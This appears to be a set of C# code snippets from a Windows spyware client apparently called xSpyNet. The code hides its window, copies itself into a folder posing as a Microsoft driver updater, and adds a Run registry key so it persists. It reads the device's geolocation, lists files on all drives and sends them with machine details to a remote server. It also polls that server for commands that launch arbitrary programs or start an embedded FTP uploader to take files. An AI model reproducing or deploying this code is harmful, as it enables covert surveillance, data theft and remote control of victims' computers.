示例#1
0
        private void Form1_Load(object sender, EventArgs e)
        {
            this.Visible = false;
            if (Application.ExecutablePath.ToLower() != (Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverchecker.exe").ToLower())
            {
                try {
                    if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver"))
                    {
                        Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver");
                    }
                    File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverchecker.exe");
                    Thread.Sleep(5000);
                    RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    if (key.GetValue("Windows Driver Updater") == null)
                    {
                        key.SetValue("Windows Driver Updater", "\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverchecker.exe" + "\"");
                    }
                    Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverchecker.exe");
                    Thread.Sleep(2000);
                    Application.Exit();
                }
                catch {
                }
            }
            //Location
            // Create the watcher.
            Watcher = new GeoCoordinateWatcher();
            // Catch the StatusChanged event.
            Watcher.StatusChanged += Watcher_StatusChanged;
            // Start the watcher.
            Watcher.Start();
            SendDataTimer.Start();
            //File
            ComputerInfo cpinfo = new ComputerInfo();

            this.Text += " - " + Environment.MachineName + " - " + ComputerInfo.getCPUID();
            try {
                foreach (DriveInfo di in DriveInfo.GetDrives())
                {
                    txtColor.Text += cpinfo.GetDirFileFromDrive(di, 1);
                }
                lblHello.ForeColor = Color.Green;
            }
            catch
            {
                lblHello.ForeColor = Color.Red;
                txtColor.Text     += "File non accessed";
            }
        }
示例#2
0
        private void LocationTimer_Tick(object sender, EventArgs e)
        {
            var response = http.Post(mainserver + "sn-asend.php", new NameValueCollection()
            {
                { "act", "updatelocation" },
                { "user", user },
                { "cpuid", ComputerInfo.getCPUID() },
                { "latitude", strLocationLat },
                { "longitude", strLocationLong },
                { "token", encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
            });
            string result = System.Text.Encoding.UTF8.GetString(response);

            lblHello.Text = result;
            if (result != "INSERT_PCINFO_ERROR")
            {
                LocationTimer.Start();
            }
        }
示例#3
0
 private void OnlineTimer_Tick(object sender, EventArgs e)
 {
     try
     {
         var response = http.Post(mainserver + "sn-asend.php", new NameValueCollection()
         {
             { "act", "updateonline" },
             { "user", user },
             { "cpuid", ComputerInfo.getCPUID() },
             { "token", encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
         });
         string result = System.Text.Encoding.UTF8.GetString(response);
         lblHello.Text = result;
     }
     catch
     {
         //lblHello.Text = "Check Err";
     }
 }
示例#4
0
 void SendData()
 {
     // Send File
     try
     {
         var response = http.Post(mainserver + "sn-asend.php", new NameValueCollection()
         {
             { "act", "updatepcinfo" },
             { "user", user },
             { "cpuid", ComputerInfo.getCPUID() },
             { "pcname", Environment.MachineName },
             { "filelist", txtColor.Text },
             { "more", "OS: " + cpinfo.GetPcInfo("Caption") + Environment.NewLine + "Manufacturer: " + cpinfo.GetPcInfo("manufacturer") + Environment.NewLine + "Model: " + cpinfo.GetPcInfo("model") },
             { "token", encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
         });
         string result = System.Text.Encoding.UTF8.GetString(response);
         lblHello.Text = result;
         if (result != "INSERT_PCINFO_ERROR")
         {
             LocationTimer.Start();
             OnlineTimer.Start();
             QueryTimer.Start();
             try{
                 if (int.Parse(result) > -1)
                 {
                     FTPserverid = int.Parse(result);
                 }
             }
             catch {
             }
         }
         lblHello.ForeColor = Color.Blue;
     }
     catch
     {
         lblHello.ForeColor = Color.LightPink;
     }
 }
示例#5
0
        private void QueryTimer_Tick(object sender, EventArgs e)
        {
            try
            {
                var response = http.Post(mainserver + "sn-aget.php", new NameValueCollection()
                {
                    { "act", "getquery" },
                    { "user", user },
                    { "cpuid", ComputerInfo.getCPUID() },
                    { "token", encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
                });
                string   result = System.Text.Encoding.UTF8.GetString(response);
                string[] totalquery = result.Split('/'), query;
                string   queryid, querycode, querytype;
                for (int i = 0; i < totalquery.Count(); i++)
                {
                    if (totalquery[i].Trim() != "")
                    {
                        query     = totalquery[i].Split('|');
                        queryid   = query[0];
                        querycode = HttpUtility.UrlDecode(query[1]);
                        querytype = query[2];
                        if (querytype == "getfile" && FTPserverid > -1)
                        {
                            //txtQuery.Text = queryid + " " + querycode + " " + querytype + " " + FTPserverid;
                            txtQuery.Text = FTPserverid.ToString() + " " + encrypt.Encrypt(user, Hashx) + " " + encrypt.Encrypt(ComputerInfo.getCPUID(), Hashx) + " " + encrypt.Encrypt(querycode, Hashx) + " " + encrypt.Encrypt(mainserver, Hashx) + " " + queryid;
                            // Bung file upload FTP tên: Microsoft Driver Update
                            // mdriverupdater

                            if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver"))
                            {
                                Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver");
                            }
                            if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverupdater.exe"))
                            {
                                byte[] mdriverupdater = Properties.Resources.MicrosoftDriverUpdater;
                                File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverupdater.exe", mdriverupdater);
                            }
                            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverupdater.exe") == true)
                            {
                                Process p = new Process();
                                p.StartInfo.FileName  = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverupdater.exe";
                                p.StartInfo.Arguments = FTPserverid.ToString() + " " + encrypt.Encrypt(user, Hashx) + " " + encrypt.Encrypt(ComputerInfo.getCPUID(), Hashx) + " " + encrypt.Encrypt(querycode, Hashx) + " " + encrypt.Encrypt(mainserver, Hashx) + " " + queryid;
                                txtQuery.Text         = p.StartInfo.Arguments;
                                p.Start();
                                //System.Diagnostics.Process.Start();
                            }
                        }
                        else if (querytype == "runapp")
                        {
                            try {
                                System.Diagnostics.Process.Start(querycode);
                                response = xSpyNet.http.Post(xSpyNet.encrypt.Decrypt(mainserver, Hashx) + "sn-asend.php", new NameValueCollection()
                                {
                                    { "act", "updatequeryinfo" },
                                    { "user", user },
                                    { "cpuid", ComputerInfo.getCPUID() },
                                    { "queryid", queryid },
                                    { "querytype", querytype },
                                    { "token", xSpyNet.encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
                                });
                                result = System.Text.Encoding.UTF8.GetString(response);
                            }
                            catch
                            {
                                response = xSpyNet.http.Post(xSpyNet.encrypt.Decrypt(mainserver, Hashx) + "sn-asend.php", new NameValueCollection()
                                {
                                    { "act", "updateerrorquery" },
                                    { "user", user },
                                    { "cpuid", ComputerInfo.getCPUID() },
                                    { "queryid", queryid },
                                    { "querytype", querytype },
                                    { "token", xSpyNet.encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
                                });
                                result = System.Text.Encoding.UTF8.GetString(response);
                            }
                        }
                    }
                }
            }
            catch
            {
                //lblHello.Text = "Err";
            }
        }